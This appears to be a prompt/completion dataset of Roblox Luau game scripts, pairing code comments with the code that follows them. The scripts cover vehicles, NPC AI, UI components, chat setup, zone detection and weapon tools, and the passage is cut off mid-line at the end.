prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- Class
local RotatedRegion3 = {} RotatedRegion3.__index = RotatedRegion3
--[[ Constructs and returns a new instance, with options for setting properties, event handlers and other attributes on the instance right away. ]]
local Package = script.Parent.Parent local PubTypes = require(Package.PubTypes) local cleanupOnDestroy = require(Package.Utility.cleanupOnDestroy) local Children = require(Package.Instances.Children) local Scheduler = require(Package.Instances.Scheduler) local defaultProps = require(Package.Instances.defaultProps) local Observer = require(Package.State.Observer) local logError = require(Package.Logging.logError) local logWarn = require(Package.Logging.logWarn) local WEAK_KEYS_METATABLE = {__mode = "k"} local ENABLE_EXPERIMENTAL_GC_MODE = false
--[[ Keyboard Character Control - This module handles controlling your avatar from a keyboard 2018 PlayerScripts Update - AllYourBlox --]]
------------------------------------------------------------------
local Player = game.Players.LocalPlayer --This line down to line 74 set all the variables in the plane local Character = Player.Character local Plane = Character.Plane local AutoCrash = Plane.AutoCrash local Weapons = Plane.Weapons local MainParts = Plane.MainParts local Gear = MainParts.Gear local Engine = MainParts.Engine local Thrust = Engine.Thrust local Direction = Engine.Direction local Customize = Plane.Customize local Tool = script.Parent local GUI = Tool.PlaneGui local ToolSelect = Tool.ToolSelect local Deselect0 = Tool.Deselect0 local FireMain = Tool.FireMain local Camera = game.Workspace.CurrentCamera local RunService = game:GetService("RunService")
-- Define the Configuration folder
local Configuration = script.Parent:WaitForChild("Configuration")
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again ZoneModelName = "Homing hat" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
---- Settings ----
local Cooldown = true local Key ="X" UserInputService.InputBegan:Connect(function(Input, IsTyping) if IsTyping then return end local KeyPressed = Input.KeyCode if KeyPressed == Enum.KeyCode[Key] and Cooldown and Character then Cooldown = false Remote:FireServer() wait(8) Cooldown = true end end)
--[[ -- Unused because too expensive to be worth the benefit since you'd have to call it often local function RealignArcToCamera(self) local relativeCamPos = self.cframe:inverse() * workspace.CurrentCamera.CFrame.p for _, v in pairs(self.segments) do local c = v.CFrame local po = c.p local up = c.upVector local lf = cross(relativeCamPos - po, up).unit local fr = cross(lf, up).unit v.CFrame = cframe(po.x, po.y, po.z, lf.x, up.x, fr.x, lf.y, up.y, fr.y, lf.z, up.z, fr.z) end end ]]
-- local AttackRange, FieldOfView, AggroRange, ChanceOfBoredom, BoredomDuration, -- Damage, DamageCooldown
local configTable = model.Configurations local configs = {} local function loadConfig(configName, defaultValue) if configTable:FindFirstChild(configName) then configs[configName] = configTable:FindFirstChild(configName).Value else configs[configName] = defaultValue end end loadConfig("AttackRange", 3) loadConfig("FieldOfView", 180) loadConfig("AggroRange", 200) loadConfig("ChanceOfBoredom", .5) loadConfig("BoredomDuration", 10) loadConfig("Damage", 10) loadConfig("DamageCooldown", 1) local StateMachine = require(game.ServerStorage.ROBLOX_StateMachine).new() local PathLib = require(game.ServerStorage.ROBLOX_PathfindingLibrary).new() local ZombieTarget = nil local ZombieTargetLastLocation = nil local lastBored = os.time() -- STATE DEFINITIONS -- IdleState: NPC stays still. Refreshes bored timer when started to -- allow for random state change local IdleState = StateMachine.NewState() IdleState.Name = "Idle" IdleState.Action = function() end IdleState.Init = function() lastBored = os.time() end -- SearchState: NPC wanders randomly increasing chance of spotting -- enemy. Refreshed bored timer when started to allow for random state -- change local SearchState = StateMachine.NewState() SearchState.Name = "Search" local lastmoved = os.time() local searchTarget = nil SearchState.Action = function() -- move to random spot nearby if model then local now = os.time() if now - lastmoved > 2 then lastmoved = now local xoff = math.random(5, 10) if math.random() > .5 then xoff = xoff * -1 end local zoff = math.random(5, 10) if math.random() > .5 then zoff = zoff * -1 end local testtarg = AIUtilities:FindCloseEmptySpace(model) --if testtarg then print(testtarg) else print("could not find") end searchTarget = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) --local target = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) --model.Humanoid:MoveTo(target) searchTarget = testtarg end if searchTarget then PathLib:MoveToTarget(model, searchTarget) end end end SearchState.Init = function() lastBored = os.time() end -- PursueState: Enemy has been spotted, need to give chase. local PursueState = StateMachine.NewState() PursueState.Name = "Pursue" PursueState.Action = function() -- Double check we still have target if ZombieTarget and model:FindFirstChild("HumanoidRootPart") and ZombieTarget:FindFirstChild("HumanoidRootPart") then -- Get distance to target local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude -- If we're far from target use pathfinding to move. Otherwise just MoveTo if distance > configs["AttackRange"] + 5 then PathLib:MoveToTarget(model, ZombieTarget.HumanoidRootPart.Position) else model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)
-- Create component
local ItemList = Roact.Component:extend 'ItemList' ItemList.defaultProps = { MaxHeight = -1 } function ItemList:init(props) self:setState { Min = 0, Max = props.MaxHeight, CanvasPosition = Vector2.new() } -- Create callback for updating canvas boundaries self.UpdateBoundaries = function (rbx) if self.Mounted then self:setState { CanvasPosition = rbx.CanvasPosition, Min = rbx.CanvasPosition.Y - rbx.AbsoluteSize.Y, Max = rbx.CanvasPosition.Y + rbx.AbsoluteSize.Y } end end end function ItemList:didMount() self.Mounted = true end function ItemList:willUnmount() self.Mounted = false end function ItemList:didUpdate(previousProps, previousState) local IsScrollTargetSet = self.props.ScrollTo and (previousProps.ScrollTo ~= self.props.ScrollTo) -- Reset canvas position whenever scope updates (unless a scrolling target is set) if (previousProps.Scope ~= self.props.Scope) and (not IsScrollTargetSet) then self:setState({ CanvasPosition = Vector2.new(0, 0); Min = 0; Max = self.props.MaxHeight; }) end end function ItemList:render() local props = self.props local state = self.state -- Keep track of how many items are out of view local SkippedAbove = 0 local SkippedBelow = 0 local TargetCanvasPosition -- Declare a button for each item local ItemList = {} local VisibleItemCount = 0 local ItemHeight = props.RowHeight -- Go through each item in order local OrderedItems = Support.Values(props.Items) table.sort(OrderedItems, function (A, B) return A.Order < B.Order end) for i = 1, #OrderedItems do local Item = OrderedItems[i] -- Get item parent state local ParentId = Item.Parent and props.IdMap[Item.Parent] local ParentState = ParentId and props.Items[ParentId] -- Determine visibility and depth from ancestors local Visible = true local Depth = 0 if ParentId then local ParentState = ParentState while ParentState do -- Stop if ancestor not visible if not ParentState.Expanded then Visible = nil break -- Count visible ancestors else Depth = Depth + 1 end -- Check next ancestor local ParentId = props.IdMap[ParentState.Parent] ParentState = props.Items[ParentId] end end -- Set canvas position to begin at item if requested and out-of-view if (Item.Id == props.ScrollTo) and (self.ScrolledTo ~= props.ScrollTo) then local ItemPosition = VisibleItemCount * props.RowHeight if ItemPosition < state.CanvasPosition.Y or ItemPosition > (state.CanvasPosition.Y + props.MaxHeight) then TargetCanvasPosition = Vector2.new(0, ItemPosition) self.ScrolledTo = Item.Id end end -- Calculate whether item is in view if Visible then VisibleItemCount = VisibleItemCount + 1 local ItemTop = (VisibleItemCount - 1) * props.RowHeight if ItemTop < state.Min then SkippedAbove = SkippedAbove + 1 Visible = nil elseif ItemTop > state.Max then SkippedBelow = SkippedBelow + 1 Visible = nil end end -- Declare component for item ItemList[Item.Id] = Visible and new(ItemRow, Support.Merge({}, Item, { Depth = Depth, Core = props.Core, ToggleExpand = props.ToggleExpand, Height = props.RowHeight })) end return new(ScrollingFrame, { Layout = 'List', LayoutDirection = 'Vertical', CanvasSize = UDim2.new(1, -2, 0, VisibleItemCount * props.RowHeight), Size = UDim2.new(1, 0, 0, VisibleItemCount * props.RowHeight), CanvasPosition = TargetCanvasPosition or state.CanvasPosition, ScrollBarThickness = 4, ScrollBarImageTransparency = 0.6, VerticalScrollBarInset = 'ScrollBar', [Roact.Change.CanvasPosition] = self.UpdateBoundaries, [Roact.Children] = Support.Merge(ItemList, { TopSpacer = new(Frame, { Size = UDim2.new(0, 0, 0, SkippedAbove * props.RowHeight), LayoutOrder = 0 }), BottomSpacer = new(Frame, { Size = UDim2.new(0, 0, 0, SkippedBelow * props.RowHeight), LayoutOrder = #OrderedItems + 1 }), SizeConstraint = new('UISizeConstraint', { MinSize = Vector2.new(0, 20), MaxSize = Vector2.new(math.huge, props.MaxHeight) }) }) }) end return ItemList
--[[ RotateSpine Description: This script listens for the UpdateSpine remote event from clients and updates their spine, arms, and waist by interpolating the rotation of the Motor6Ds. ]]
-- FEATURE METHODS
function Icon:bindEvent(iconEventName, eventFunction) local event = self[iconEventName] assert(event and typeof(event) == "table" and event.Connect, "argument[1] must be a valid topbarplus icon event name!") assert(typeof(eventFunction) == "function", "argument[2] must be a function!") self._bindedEvents[iconEventName] = event:Connect(function(...) eventFunction(self, ...) end) return self end function Icon:unbindEvent(iconEventName) local eventConnection = self._bindedEvents[iconEventName] if eventConnection then eventConnection:Disconnect() self._bindedEvents[iconEventName] = nil end return self end function Icon:bindToggleKey(keyCodeEnum) assert(typeof(keyCodeEnum) == "EnumItem", "argument[1] must be a KeyCode EnumItem!") self._bindedToggleKeys[keyCodeEnum] = true return self end function Icon:unbindToggleKey(keyCodeEnum) assert(typeof(keyCodeEnum) == "EnumItem", "argument[1] must be a KeyCode EnumItem!") self._bindedToggleKeys[keyCodeEnum] = nil return self end function Icon:lock() self.locked = true return self end function Icon:unlock() self.locked = false return self end function Icon:setTopPadding(offset, scale) local newOffset = offset or 4 local newScale = scale or 0 self.topPadding = UDim.new(newScale, newOffset) self.updated:Fire() return self end function Icon:bindToggleItem(guiObjectOrLayerCollector) if not guiObjectOrLayerCollector:IsA("GuiObject") and not guiObjectOrLayerCollector:IsA("LayerCollector") then error("Toggle item must be a GuiObject or LayerCollector!") end self.toggleItems[guiObjectOrLayerCollector] = true return self end function Icon:unbindToggleItem(guiObjectOrLayerCollector) self.toggleItems[guiObjectOrLayerCollector] = nil return self end function Icon:_setToggleItemsVisible(bool, byIcon) for toggleItem, _ in pairs(self.toggleItems) do if not byIcon or byIcon.toggleItems[toggleItem] == nil then local property = "Visible" if toggleItem:IsA("LayerCollector") then property = "Enabled" end toggleItem[property] = bool end end end
--------------------------CHARACTER CONTROL-------------------------------
local CurrentIgnoreList: {Model} local CurrentIgnoreTag = nil local TaggedInstanceAddedConnection: RBXScriptConnection? = nil local TaggedInstanceRemovedConnection: RBXScriptConnection? = nil local function GetCharacter(): Model return Player and Player.Character end local function UpdateIgnoreTag(newIgnoreTag) if newIgnoreTag == CurrentIgnoreTag then return end if TaggedInstanceAddedConnection then TaggedInstanceAddedConnection:Disconnect() TaggedInstanceAddedConnection = nil end if TaggedInstanceRemovedConnection then TaggedInstanceRemovedConnection:Disconnect() TaggedInstanceRemovedConnection = nil end CurrentIgnoreTag = newIgnoreTag CurrentIgnoreList = {GetCharacter()} if CurrentIgnoreTag ~= nil then local ignoreParts = CollectionService:GetTagged(CurrentIgnoreTag) for _, ignorePart in ipairs(ignoreParts) do table.insert(CurrentIgnoreList, ignorePart) end TaggedInstanceAddedConnection = CollectionService:GetInstanceAddedSignal( CurrentIgnoreTag):Connect(function(ignorePart) table.insert(CurrentIgnoreList, ignorePart) end) TaggedInstanceRemovedConnection = CollectionService:GetInstanceRemovedSignal( CurrentIgnoreTag):Connect(function(ignorePart) for i = 1, #CurrentIgnoreList do if CurrentIgnoreList[i] == ignorePart then CurrentIgnoreList[i] = CurrentIgnoreList[#CurrentIgnoreList] table.remove(CurrentIgnoreList) break end end end) end end local function getIgnoreList(): {Model} if CurrentIgnoreList then return CurrentIgnoreList end CurrentIgnoreList = {} assert(CurrentIgnoreList, "") table.insert(CurrentIgnoreList, GetCharacter()) return CurrentIgnoreList end local function minV(a: Vector3, b: Vector3) return Vector3.new(math.min(a.X, b.X), math.min(a.Y, b.Y), math.min(a.Z, b.Z)) end local function maxV(a, b) return Vector3.new(math.max(a.X, b.X), math.max(a.Y, b.Y), math.max(a.Z, b.Z)) end local function getCollidableExtentsSize(character: Model?) if character == nil or character.PrimaryPart == nil then return end assert(character, "") assert(character.PrimaryPart, "") local toLocalCFrame = character.PrimaryPart.CFrame:Inverse() local min = Vector3.new(math.huge, math.huge, math.huge) local max = Vector3.new(-math.huge, -math.huge, -math.huge) for _,descendant in pairs(character:GetDescendants()) do if descendant:IsA('BasePart') and descendant.CanCollide then local localCFrame = toLocalCFrame * descendant.CFrame local size = Vector3.new(descendant.Size.X / 2, descendant.Size.Y / 2, descendant.Size.Z / 2) local vertices = { Vector3.new( size.X, size.Y, size.Z), Vector3.new( size.X, size.Y, -size.Z), Vector3.new( size.X, -size.Y, size.Z), Vector3.new( size.X, -size.Y, -size.Z), Vector3.new(-size.X, size.Y, size.Z), Vector3.new(-size.X, size.Y, -size.Z), Vector3.new(-size.X, -size.Y, size.Z), Vector3.new(-size.X, -size.Y, -size.Z) } for _,vertex in ipairs(vertices) do local v = localCFrame * vertex min = minV(min, v) max = maxV(max, v) end end end local r = max - min if r.X < 0 or r.Y < 0 or r.Z < 0 then return nil end return r end
-- An hour in seconds
local RESHOWING_FREQUENCY = 60*60 function calculateShowTimes() local timeUntilNextShow = nil local timeIntoShow = nil local currentTime = DateTime.now().UnixTimestampMillis/1000 local timeUntilFirstShow = FIRST_EVER_SHOW - currentTime if timeUntilFirstShow > 0 then timeUntilNextShow = timeUntilFirstShow else timeUntilNextShow = timeUntilFirstShow % RESHOWING_FREQUENCY timeIntoShow = RESHOWING_FREQUENCY - timeUntilNextShow end return timeUntilNextShow, timeIntoShow end function loadPreShowVenue() -- The PreShowVenue scene length needs to be adjusted to match the time until the next show. local timeUntilNextShow, timeIntoShow = calculateShowTimes() PSV_SCENE:SetAttribute("TimeLength", timeUntilNextShow) EventSequencer.loadScene(PSV_SCENE.Name) end
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) return true end
-- MODULES --
local partEmitter = require(Modules.PartEmitter) local partCacheModule = require(Modules.PartCache) local partCache = partCacheModule.new(script.Part, 100, workspace.Debris) local SpiralModule = require(Modules.SpiralTrail)
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 120 , spInc = 20 , -- Increment between labelled notches }, { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 140 , spInc = 40 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 160 , spInc = 40 , -- Increment between labelled notches } }
---------------------------------------------------------------------------------------------------- -----------------=[ General ]=---------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
TeamKill = false --- Enable TeamKill? ,TeamDmgMult = 1 --- Between 0-1 | This will make you cause less damage if you hit your teammate ,ReplicatedBullets = true --- Keep in mind that some bullets will pass through surfaces... ,AntiBunnyHop = true --- Enable anti bunny hop system? ,JumpCoolDown = 1.5 --- Seconds before you can jump again ,JumpPower = 20 --- Jump power, default is 50 ,RealisticLaser = true --- True = Laser line is invisible ,ReplicatedLaser = true ,ReplicatedFlashlight = true ,EnableRagdoll = true --- Enable ragdoll death? ,TeamTags = false --- Aaaaaaa ,HitmarkerSound = false --- GGWP MLG 360 NO SCOPE xD ,Crosshair = false --- Crosshair for Hipfire shooters and arcade modes ,CrosshairOffset = 5 --- Crosshair size offset
--Light off
src.right.Value.Value = 0 src.left.Value.Value = 0 light.Value = false else src.right.Value.Value = 1 src.left.Value.Value = 1 light.Value = true return end end end) src.Parent.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then src:Stop() script.Parent:Destroy() end end)
--^^^ Made by Anaminus ^^^---
function module.getSide(p,s) local cf = p.CFrame if s.x > 0 then return (cf*CFrame.fromAxisAngle(Vector3.new(0,-1,0),math.pi/2)).lookVector elseif s.x < 0 then return (cf*CFrame.fromAxisAngle(Vector3.new(0,1,0),math.pi/2)).lookVector end if s.y < 0 then return (cf*CFrame.fromAxisAngle(Vector3.new(-1,0,0),math.pi/2)).lookVector elseif s.y > 0 then return (cf*CFrame.fromAxisAngle(Vector3.new(1,0,0),math.pi/2)).lookVector end if s.z < 0 then return cf.lookVector elseif s.z > 0 then return -cf.lookVector end end function module.debounce(func) local debounce = false return function(...) if not debounce then debounce = true func(...) debounce = false end end end function module.part(p) local parts = {} local function getParts(m) for _,v in pairs(m:GetChildren()) do if v:IsA("Part") and v ~= p then table.insert(parts,#parts+1,v) elseif v:IsA("Model") then getParts(v) end end end getParts(game.Workspace) local winner = {} for _,q in pairs(parts) do local mag = (q.Position-p.Position).magnitude if mag < winner[1] then winner[1] = mag winner[2] = q end end return winner[2] end function module.weld(p1,p2) local w = Instance.new("Weld") w.Part0 = p1 w.Part1 = p2 w.C0 = p1.CFrame:inverse() * p2.CFrame w.Parent = p1 return w end return module
-- Create component
local Component = Cheer.CreateComponent('BTToolInformationManager', View); function Component.Start(Core) -- Save reference to core API getfenv(1).Core = Core; -- Return component for chaining return Component; end; function Component.RegisterSection(SectionName) -- Registers triggers for the given section -- Get section local Section = Component.GetSection(SectionName); -- Reset fade timer on hover Cheer.Bind(Section.MouseEnter, function () if Component.CurrentSection == Section then Component.CurrentFadeTimer = false; end; end); -- Start fade time on unhover Cheer.Bind(Section.MouseLeave, function () Component.StartFadeTimer(true); end); end; function Component.StartFadeTimer(Override) -- Creates timer to disappear current section after 2 seconds unless overridden if Component.CurrentFadeTimer == false and not Override then return; end; -- Generate unique trigger ID local TriggerId = HttpService:GenerateGUID(); -- Register timer Component.CurrentFadeTimer = TriggerId; -- Start timer Delay(2, function () if Component.CurrentFadeTimer == TriggerId then Component.HideCurrentSection(); end; end); end; function Component.StartShowTimer(SectionName) -- Creates timer to show content after hovering for over half a second -- Only override current section if also triggered by hover if Component.LastTrigger == 'Click' then return; end; -- Generate unique trigger ID local TriggerId = HttpService:GenerateGUID(); -- Register timer Component.CurrentShowTimer = TriggerId; -- Start timer Delay(0.25, function () if Component.CurrentShowTimer == TriggerId then Component.ShowSection(SectionName, 'Hover'); Component.StartFadeTimer(); end; end); end; function Component.ProcessHover(Tool, SectionName) -- Only override current section if also triggered by hover if Component.LastTrigger == 'Click' then return; end; wait(); -- Start a show timer Component.StartShowTimer(SectionName); end; function Component.ShowSection(SectionName, TriggerType) -- Hide any current section Component.HideCurrentSection(); -- Get section local Section = Component.GetSection(SectionName); -- Set new current section Component.CurrentSection = Section; Component.LastTrigger = TriggerType; -- Show the new section Section.Visible = true; end; function Component.ProcessUnhover(Tool, SectionName) -- Clear any other show timer Component.CurrentShowTimer = nil; -- Only override current section if triggered by a hover if Component.LastTrigger == 'Click' then return; end; -- Get section local Section = Component.GetSection(SectionName); -- Disappear after 2 seconds unless overridden if Component.CurrentSection == Section then Component.StartFadeTimer(); end; end; function Component.ProcessClick(Tool, SectionName) -- Show the new section Component.ShowSection(SectionName, 'Click'); -- Disappear after 2 seconds unless overridden Component.StartFadeTimer(); end; function Component.HideCurrentSection() -- Ensure there is a current section if not Component.CurrentSection then return; end; -- Hide section Component.CurrentSection.Visible = false; -- Disable section fade timer if any Component.CurrentFadeTimer = nil; -- Unregister current section Component.CurrentSection = nil; Component.LastTrigger = nil; end; function Component.GetSection(SectionName) -- Return the information section with the given name return View:FindFirstChild(SectionName); end; return Component;
--// This section of code waits until all of the necessary RemoteEvents are found in EventFolder. --// I have to do some weird stuff since people could potentially already have pre-existing --// things in a folder with the same name, and they may have different class types. --// I do the useEvents thing and set EventFolder to useEvents so I can have a pseudo folder that --// the rest of the code can interface with and have the guarantee that the RemoteEvents they want --// exist with their desired names.
local FFlagFixChatWindowHoverOver = false do local ok, value = pcall(function() return UserSettings():IsUserFeatureEnabled("UserFixChatWindowHoverOver") end) if ok then FFlagFixChatWindowHoverOver = value end end local FILTER_MESSAGE_TIMEOUT = 60 local RunService = game:GetService("RunService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local Chat = game:GetService("Chat") local StarterGui = game:GetService("StarterGui") local DefaultChatSystemChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents") local EventFolder = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents") local clientChatModules = Chat:WaitForChild("ClientChatModules") local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants")) local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings")) local messageCreatorModules = clientChatModules:WaitForChild("MessageCreatorModules") local MessageCreatorUtil = require(messageCreatorModules:WaitForChild("Util")) local ChatLocalization = nil pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end) if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end local numChildrenRemaining = 10 -- #waitChildren returns 0 because it's a dictionary local waitChildren = { OnNewMessage = "RemoteEvent", OnMessageDoneFiltering = "RemoteEvent", OnNewSystemMessage = "RemoteEvent", OnChannelJoined = "RemoteEvent", OnChannelLeft = "RemoteEvent", OnMuted = "RemoteEvent", OnUnmuted = "RemoteEvent", OnMainChannelSet = "RemoteEvent", SayMessageRequest = "RemoteEvent", GetInitDataRequest = "RemoteFunction", }
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat. p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(-0,-0,-1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0,-0.07,0) -- Change these to change the positiones of your hat, as I said earlier. wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--[[ -- the player touched events which utilise active zones at the moment may change to the new CanTouch method for parts in the future -- hence im disabling this as it may be depreciated quite soon function ZoneController.getActiveZones() local zonesArray = {} for zone, _ in pairs(activeZones) do table.insert(zonesArray, zone) end return zonesArray end --]]
function ZoneController.getCharacterRegion(player) local char = player.Character local head = char and char:FindFirstChild("Head") local hrp = char and char:FindFirstChild("HumanoidRootPart") if not(hrp and head) then return nil end local headY = head.Size.Y local hrpSize = hrp.Size local charSize = (hrpSize * Vector3.new(2, 2, 1)) + Vector3.new(0, headY, 0) local regionCFrame = hrp.CFrame * CFrame.new(0, headY/2 - hrpSize.Y/2, 0) local charRegion = RotatedRegion3.new(regionCFrame, charSize) return charRegion, regionCFrame, charSize end function ZoneController.getTouchingZones(player, onlyActiveZones, recommendedDetection) local exitDetection = playerExitDetections[player] playerExitDetections[player] = nil local finalDetection = exitDetection or recommendedDetection local charRegion if finalDetection == enum.Detection.WholeBody then charRegion = ZoneController.getCharacterRegion(player) else local char = player.Character local hrp = char and char:FindFirstChild("HumanoidRootPart") local regionCFrame = hrp and hrp.CFrame charRegion = regionCFrame and RotatedRegion3.new(regionCFrame, Vector3.new(0.1, 0.1, 0.1)) end if not charRegion then return {} end --[[ local part = Instance.new("Part") part.Size = charSize part.CFrame = regionCFrame part.Anchored = true part.CanCollide = false part.Color = Color3.fromRGB(255, 0, 0) part.Transparency = 0.4 part.Parent = workspace game:GetService("Debris"):AddItem(part, 2) --]] local partsTable = (onlyActiveZones and activeParts) or allParts local partToZoneDict = (onlyActiveZones and activePartToZone) or allPartToZone local parts = charRegion:FindPartsInRegion3WithWhiteList(partsTable, #partsTable) if #parts > 0 then local hrp = player.Character.HumanoidRootPart local hrpCFrame = hrp.CFrame local hrpSizeX = hrp.Size.X local pointsToVerify if finalDetection == enum.Detection.WholeBody then pointsToVerify = { (hrpCFrame * CFrame.new(-hrpSizeX, 0, 0)).Position, (hrpCFrame * CFrame.new(hrpSizeX, 0, 0)).Position, } else pointsToVerify = { hrp.Position, } end if not ZoneController.verifyTouchingParts(pointsToVerify, parts) then return {} end end local zonesDict = {} local touchingPartsDictionary = {} for _, part in pairs(parts) do local correspondingZone = partToZoneDict[part] if correspondingZone then zonesDict[correspondingZone] = true touchingPartsDictionary[part] = correspondingZone end end local touchingZonesArray = {} local newExitDetection for zone, _ in pairs(zonesDict) do if newExitDetection == nil or zone._currentExitDetection < newExitDetection then newExitDetection = zone._currentExitDetection end table.insert(touchingZonesArray, zone) end if newExitDetection then playerExitDetections[player] = newExitDetection end return touchingZonesArray, touchingPartsDictionary end function ZoneController.getHeightOfParts(tableOfParts) local maxY local minY for _, groupPart in pairs(tableOfParts) do local partHeight = groupPart.Size.Y + 10 local partYHalf = partHeight/2 local partTopY = groupPart.Position.Y + partYHalf local partBottomY = groupPart.Position.Y - partYHalf if maxY == nil or partTopY > maxY then maxY = partTopY end if minY == nil or partBottomY < minY then minY = partBottomY end end local height = maxY - minY return height, minY, maxY end function ZoneController.vectorIsBetweenYBounds(vectorToCheck, tableOfParts) local height, minY, maxY = ZoneController.getHeightOfParts(tableOfParts) local raycastParams = RaycastParams.new() raycastParams.FilterDescendantsInstances = tableOfParts raycastParams.FilterType = Enum.RaycastFilterType.Whitelist for i = 1, 2 do local startVector = Vector3.new(vectorToCheck.X, (i == 1 and maxY) or minY, vectorToCheck.Z) local directionVector = Vector3.new(0, (i == 1 and -height) or height, 0) local raycastResult = workspace:Raycast(startVector, directionVector, raycastParams) local vectorY = vectorToCheck.Y local intersectionY = (raycastResult and raycastResult.Position.Y) if not intersectionY or (i == 1 and vectorY > intersectionY) or (i == 2 and vectorY < intersectionY) then return false end end return true end function ZoneController.verifyTouchingParts(vectorsToCheck, tableOfParts) -- Region3 checks are unreliable for some baseparts such as MeshParts and UnionOperations, therefore -- we perform additional raycast checks to confirm whether the touching parts are actually within the zone local classesToCheck = { MeshPart = true, UnionOperation = true, } local additionalCheckRequired = true for _, part in pairs(tableOfParts) do if not classesToCheck[part.ClassName] then additionalCheckRequired = false end end if not additionalCheckRequired then return true end for _, vector in pairs(vectorsToCheck) do if ZoneController.vectorIsBetweenYBounds(vector, tableOfParts) then return true end end return false end return ZoneController
-------------------------------------------------------------------------------------- --------------------[ TOOL SELECTION AND DESELECTION ]-------------------------------- --------------------------------------------------------------------------------------
function OnEquipped(M_Icon) wait(math.random(10, 40) / 100) if Humanoid.Health ~= 0 and (not Selected) and Gun.Parent == Character then Selected = true BreakReload = false --------------------[ FAILSAFE RESETING ]------------------------------------- for _, GM in pairs(Ignore_Model:GetChildren()) do if GM.Name == "Gun_Ignore_"..Player.Name then GM:Destroy() end end for _,c in pairs(Connections) do c:disconnect() end Connections = {} --------------------[ CREATING IGNORE MODELS ]-------------------------------- Gun_Ignore = Instance.new("Model") Gun_Ignore.Name = "Gun_Ignore_"..Player.Name Gun_Ignore.Parent = Ignore_Model --------------------[ MODIFYING THE PLAYER ]---------------------------------- M_Icon.Icon = "rbxasset://textures\\Blank.png" Gui_Clone = Main_Gui:Clone() Gui_Clone.Parent = Player.PlayerGui SetUpGui() Shoulders.Right.Part1 = nil Shoulders.Left.Part1 = nil PrevNeckCF.C0 = Neck.C0 PrevNeckCF.C1 = Neck.C1 BG = Instance.new("BodyGyro", HRP) BG.maxTorque = VEC3(HUGE, HUGE, HUGE) BG.Name = "BG" BG.P = 1e5 BG.cframe = CF(Torso.CFrame.p, Torso.CFrame.p + Torso.CFrame.lookVector) local PlayerFolder = Instance.new("Model") PlayerFolder.Name = "PlayerFolder" PlayerFolder.Parent = Gun_Ignore local AnimBase = Instance.new("Part") AnimBase.Transparency = 1 AnimBase.Name = "AnimBase" AnimBase.CanCollide = false AnimBase.FormFactor = Enum.FormFactor.Custom AnimBase.Size = VEC3(0.2, 0.2, 0.2) AnimBase.BottomSurface = Enum.SurfaceType.Smooth AnimBase.TopSurface = Enum.SurfaceType.Smooth AnimBase.Parent = PlayerFolder AnimWeld = Instance.new("Weld") AnimWeld.Part0 = AnimBase AnimWeld.Part1 = Head AnimWeld.C0 = CF(0, 1, 0) AnimWeld.Parent = AnimBase local ArmBase = Instance.new("Part") ArmBase.Transparency = 1 ArmBase.Name = "ArmBase" ArmBase.CanCollide = false ArmBase.FormFactor = Enum.FormFactor.Custom ArmBase.Size = VEC3(0.2, 0.2, 0.2) ArmBase.BottomSurface = Enum.SurfaceType.Smooth ArmBase.TopSurface = Enum.SurfaceType.Smooth ArmBase.Parent = PlayerFolder ABWeld = Instance.new("Weld") ABWeld.Part0 = ArmBase ABWeld.Part1 = AnimBase ABWeld.Parent = ArmBase local LArmBase = Instance.new("Part") LArmBase.Transparency = 1 LArmBase.Name = "LArmBase" LArmBase.CanCollide = false LArmBase.FormFactor = Enum.FormFactor.Custom LArmBase.Size = VEC3(0.2, 0.2, 0.2) LArmBase.BottomSurface = Enum.SurfaceType.Smooth LArmBase.TopSurface = Enum.SurfaceType.Smooth LArmBase.Parent = PlayerFolder local RArmBase = Instance.new("Part") RArmBase.Transparency = 1 RArmBase.Name = "RArmBase" RArmBase.CanCollide = false RArmBase.FormFactor = Enum.FormFactor.Custom RArmBase.Size = VEC3(0.2, 0.2, 0.2) RArmBase.BottomSurface = Enum.SurfaceType.Smooth RArmBase.TopSurface = Enum.SurfaceType.Smooth RArmBase.Parent = PlayerFolder LWeld = Instance.new("Weld") LWeld.Name = "LWeld" LWeld.Part0 = ArmBase LWeld.Part1 = LArmBase LWeld.C0 = ArmC0[1] LWeld.C1 = 